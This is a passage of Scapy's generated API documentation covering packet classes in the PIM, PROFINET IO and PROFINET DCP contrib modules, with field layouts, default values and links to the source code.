class scapy.contrib.pim.PIMv2HelloDRPriority(_pkt, /, *, type=19, length=None, dr_priority=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L148-L154]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DR PRIORITY                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PIMv2HelloDRPriority                     


PIMv2HelloDRPriority fields






	type

	ShortField

	19



	length

	FieldLenField

	None



	dr_priority

	IntField

	1















	
class scapy.contrib.pim.PIMv2HelloGenerationID(_pkt, /, *, type=20, length=None, generation_id=<RandInt>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L157-L165]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         GENERATION ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PIMv2HelloGenerationID                    


PIMv2HelloGenerationID fields






	type

	ShortField

	20



	length

	FieldLenField

	None



	generation_id

	IntField

	<RandInt>















	
class scapy.contrib.pim.PIMv2HelloHoldtime(_pkt, /, *, type=1, length=None, holdtime=105)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L119-L125]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HOLDTIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PIMv2HelloHoldtime                      


PIMv2HelloHoldtime fields






	type

	ShortField

	1



	length

	FieldLenField

	None



	holdtime

	ShortField

	105















	
class scapy.contrib.pim.PIMv2HelloLANPruneDelay(_pkt, /, *, type=2, length=None, value=[<PIMv2HelloLANPruneDelayValue  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L137-L145]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PIMv2HelloLANPruneDelay                   


PIMv2HelloLANPruneDelay fields






	type

	ShortField

	2



	length

	FieldLenField

	None



	value

	PacketListField

	[<PIMv2HelloLANPruneDelayValue  |>]















	
class scapy.contrib.pim.PIMv2HelloLANPruneDelayValue(_pkt, /, *, t=0, propagation_delay=500, override_interval=2500)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L128-L134]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|T|      PROPAGATION DELAY      |       OVERRIDE INTERVAL       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PIMv2HelloLANPruneDelayValue                 


PIMv2HelloLANPruneDelayValue fields






	t

	BitField  (1 bit)

	0



	propagation_delay

	BitField  (15 bits)

	500



	override_interval

	ShortField

	2500















	
class scapy.contrib.pim.PIMv2HelloStateRefresh(_pkt, /, *, type=21, length=None, value=[<PIMv2HelloStateRefreshValue  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L175-L184]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PIMv2HelloStateRefresh                    


PIMv2HelloStateRefresh fields






	type

	ShortField

	21



	length

	FieldLenField

	None



	value

	PacketListField

	[<PIMv2HelloStateRefreshValue  |>]















	
class scapy.contrib.pim.PIMv2HelloStateRefreshValue(_pkt, /, *, version=1, interval=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L168-L172]

	Bases: _PIMv2GenericHello


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |    INTERVAL   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. PIMv2HelloStateRefreshValue                 


PIMv2HelloStateRefreshValue fields






	version

	ByteField

	1



	interval

	ByteField

	0



	reserved

	ShortField

	0















	
class scapy.contrib.pim.PIMv2JoinAddrs(_pkt, /, *, addr_family=1, encoding_type=0, rsrvd=0, sparse=0, wildcard=0, rpt=1, mask_len=32, src_ip=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L240-L241]

	Bases: PIMv2JoinPruneAddrsBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDR FAMILY  | ENCODING TYPE |  RSRVD  |S|W|R|    MASK LEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SRC IP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PIMv2JoinAddrs                        


PIMv2JoinAddrs fields






	addr_family

	ByteField

	1



	encoding_type

	ByteField

	0



	rsrvd

	BitField  (5 bits)

	0



	sparse

	BitField  (1 bit)

	0



	wildcard

	BitField  (1 bit)

	0



	rpt

	BitField  (1 bit)

	1



	mask_len

	ByteField

	32



	src_ip

	MultipleTypeField (IP6Field, IPField)

	'0.0.0.0'















	
class scapy.contrib.pim.PIMv2JoinPrune(_pkt, /, *, up_addr_family=1, up_encoding_type=0, up_neighbor_ip=None, reserved=0, num_group=None, holdtime=210, jp_ips=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L271-L286]

	Bases: _PIMGenericTlvBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| UP ADDR FAMILY|UP ENCODING TYP|         UP NEIGHBOR IP        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    RESERVED   |   NUM GROUP   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HOLDTIME           |             JP IPS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PIMv2JoinPrune                        


PIMv2JoinPrune fields






	up_addr_family

	ByteField

	1



	up_encoding_type

	ByteField

	0



	up_neighbor_ip

	MultipleTypeField (IP6Field, IPField)

	'0.0.0.0'



	reserved

	ByteField

	0



	num_group

	FieldLenField

	None



	holdtime

	ShortField

	210



	jp_ips

	PacketListField

	[]















	
class scapy.contrib.pim.PIMv2JoinPruneAddrsBase(_pkt, /, *, addr_family=1, encoding_type=0, rsrvd=0, sparse=0, wildcard=0, rpt=1, mask_len=32, src_ip=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L222-L237]

	Bases: _PIMGenericTlvBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDR FAMILY  | ENCODING TYPE |  RSRVD  |S|W|R|    MASK LEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SRC IP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PIMv2JoinPruneAddrsBase                   


PIMv2JoinPruneAddrsBase fields






	addr_family

	ByteField

	1



	encoding_type

	ByteField

	0



	rsrvd

	BitField  (5 bits)

	0



	sparse

	BitField  (1 bit)

	0



	wildcard

	BitField  (1 bit)

	0



	rpt

	BitField  (1 bit)

	1



	mask_len

	ByteField

	32



	src_ip

	MultipleTypeField (IP6Field, IPField)

	'0.0.0.0'















	
class scapy.contrib.pim.PIMv2PruneAddrs(_pkt, /, *, addr_family=1, encoding_type=0, rsrvd=0, sparse=0, wildcard=0, rpt=1, mask_len=32, src_ip=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pim.py#L244-L245]

	Bases: PIMv2JoinPruneAddrsBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDR FAMILY  | ENCODING TYPE |  RSRVD  |S|W|R|    MASK LEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SRC IP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PIMv2PruneAddrs                       


PIMv2PruneAddrs fields






	addr_family

	ByteField

	1



	encoding_type

	ByteField

	0



	rsrvd

	BitField  (5 bits)

	0



	sparse

	BitField  (1 bit)

	0



	wildcard

	BitField  (1 bit)

	0



	rpt

	BitField  (1 bit)

	1



	mask_len

	ByteField

	32



	src_ip

	MultipleTypeField (IP6Field, IPField)

	'0.0.0.0'

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.pnio


	
class scapy.contrib.pnio.PNIORealTimeCyclicDefaultRawData(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L156-L165]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PNIORealTimeCyclicDefaultRawData               


PNIORealTimeCyclicDefaultRawData fields






	data

	StrField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L164-L165]

	








	
class scapy.contrib.pnio.PNIORealTimeCyclicPDU(_pkt, /, *, data=[], padding=b'', cycleCounter=0, dataStatus=<Flag 53 (primary+validData+run+no_problem)>, transferStatus=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L168-L278]

	Bases: Packet

PROFINET cyclic real-time


	
aliastypes

	




	
static build_fixed_len_raw_type(length)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L267-L278]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CYCLECOUNTER         |   DATASTATUS  | TRANSFERSTATUS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PNIORealTimeCyclicPDU                    


PNIORealTimeCyclicPDU fields






	data

	PacketListField

	[]



	padding

	StrFixedLenField

	b''



	cycleCounter

	ShortField

	0



	dataStatus

	FlagsField

	<Flag 53 (primary+validData+run+no_problem)>



	transferStatus

	ByteField

	0











	
static get_layout_from_config(ether_src, ether_dst, frame_id)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L258-L265]

	




	
get_padding_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L203-L222]

	




	
next_cls_cb(_lst, _p, _remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L224-L256]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L198-L201]

	








	
class scapy.contrib.pnio.PNIORealTime_IOxS(_pkt, /, *, dataState=1, instance=0, reserved=0, extension=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L128-L153]

	Bases: Packet

IOCS and IOPS packets for PROFINET Real-Time payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|INS|RESERVE|E|
+-+-+-+-+-+-+-+-+

                      Fig. PNIORealTime_IOxS                      


PNIORealTime_IOxS fields






	dataState

	BitEnumField

	1



	instance

	BitEnumField

	0



	reserved

	XBitField  (4 bits)

	0



	extension

	BitField  (1 bit)

	0











	
classmethod get_len()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L148-L150]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L152-L153]

	




	
classmethod is_extension_set(_pkt, _lst, p, _remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L143-L146]

	








	
class scapy.contrib.pnio.PROFIsafe(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L335-L365]

	Bases: Packet


	
aliastypes

	




	
static build_PROFIsafe_class(cls, data_length)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L356-L365]

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
explicit

	




	
fields: Dict[str, Any]

	




	
fieldtype: Dict[str, AnyField]

	




	
get_data_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L341-L345]

	Must be overridden in a subclass to return the correct value






	
get_mandatory_fields_len()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L347-L349]

	




	
static get_max_data_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L351-L354]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L338-L339]

	




	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.pnio.PROFIsafeCRCSeed(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L293-L312]

	Bases: Packet


	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
direction: int | None

	




	
explicit

	




	
fields: Dict[str, Any]

	




	
fieldtype: Dict[str, AnyField]

	




	
get_data_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L299-L303]

	Must be overridden in a subclass to return the correct value






	
get_mandatory_fields_len()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L305-L307]

	




	
static get_max_data_length()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L309-L312]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L296-L297]

	




	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
underlayer

	




	
wirelen: int | None

	








	
class scapy.contrib.pnio.PROFIsafeControl(_pkt, /, *, data=b'', control=<Flag 0 ()>, crc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L368-L375]

	Bases: PROFIsafe


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |    CONTROL    |      CRC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PROFIsafeControl                       


PROFIsafeControl fields






	data

	StrFixedLenField

	b''



	control

	FlagsField

	<Flag 0 ()>



	crc

	X3BytesField

	0















	
class scapy.contrib.pnio.PROFIsafeControlCRCSeed(_pkt, /, *, data=b'', control=<Flag 0 ()>, crc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L315-L322]

	Bases: PROFIsafeCRCSeed


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |    CONTROL    |      CRC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PROFIsafeControlCRCSeed                   


PROFIsafeControlCRCSeed fields






	data

	StrFixedLenField

	b''



	control

	FlagsField

	<Flag 0 ()>



	crc

	XIntField

	0















	
class scapy.contrib.pnio.PROFIsafeStatus(_pkt, /, *, data=b'', status=<Flag 0 ()>, crc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L378-L385]

	Bases: PROFIsafe


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |     STATUS    |      CRC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PROFIsafeStatus                       


PROFIsafeStatus fields






	data

	StrFixedLenField

	b''



	status

	FlagsField

	<Flag 0 ()>



	crc

	X3BytesField

	0















	
class scapy.contrib.pnio.PROFIsafeStatusCRCSeed(_pkt, /, *, data=b'', status=<Flag 0 ()>, crc=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L325-L332]

	Bases: PROFIsafeCRCSeed


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |     STATUS    |      CRC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PROFIsafeStatusCRCSeed                    


PROFIsafeStatusCRCSeed fields






	data

	StrFixedLenField

	b''



	status

	FlagsField

	<Flag 0 ()>



	crc

	XIntField

	0















	
class scapy.contrib.pnio.ProfinetIO(_pkt, /, *, frameID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L90-L114]

	Bases: Packet

Basic PROFINET IO dispatcher


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FRAMEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ProfinetIO                          


ProfinetIO fields






	frameID

	XShortEnumField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L96-L114]

	








	
scapy.contrib.pnio.i2s_frameid(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L40-L58]

	Get representation name of a pnio frame ID


	Parameters:

	x – a key of the PNIO_FRAME_IDS dictionary



	Returns:

	str










	
scapy.contrib.pnio.s2i_frameid(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio.py#L61-L83]

	Get pnio frame ID from a representation name

Performs a reverse look-up in PNIO_FRAME_IDS dictionary


	Parameters:

	x – a value of PNIO_FRAME_IDS dict



	Returns:

	integer












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.pnio_dcp


	
class scapy.contrib.pnio_dcp.DCPAliasNameBlock(_pkt, /, *, option=2, sub_option=6, dcp_block_length=None, block_info=0, alias_name=b'et200sp', padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L362-L378]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L377-L378]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |           ALIAS NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DCPAliasNameBlock                      


DCPAliasNameBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	6



	dcp_block_length

	FieldLenField

	None



	block_info

	ShortEnumField

	0



	alias_name

	StrLenField

	b'et200sp'



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPBaseBlock(_pkt, /, *, option=1, sub_option=2, dcp_block_length=None, block_info=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L178-L192]

	Bases: Packet

base class for all DCP Blocks


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L191-L192]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DCPBaseBlock                         


DCPBaseBlock fields






	option

	ByteEnumField

	1



	sub_option

	MultiEnumField (Depends on 1)

	2



	dcp_block_length

	FieldLenField

	None



	block_info

	ShortEnumField

	0



	data

	StrLenField

	b''















	
class scapy.contrib.pnio_dcp.DCPControlBlock(_pkt, /, *, option=5, sub_option=4, dcp_block_length=3, response=2, response_sub_option=2, block_error=0, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L417-L433]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L432-L433]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESPONSE   |RESPONSE SUB OP|  BLOCK ERROR  |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. DCPControlBlock                       


DCPControlBlock fields






	option

	ByteEnumField

	5



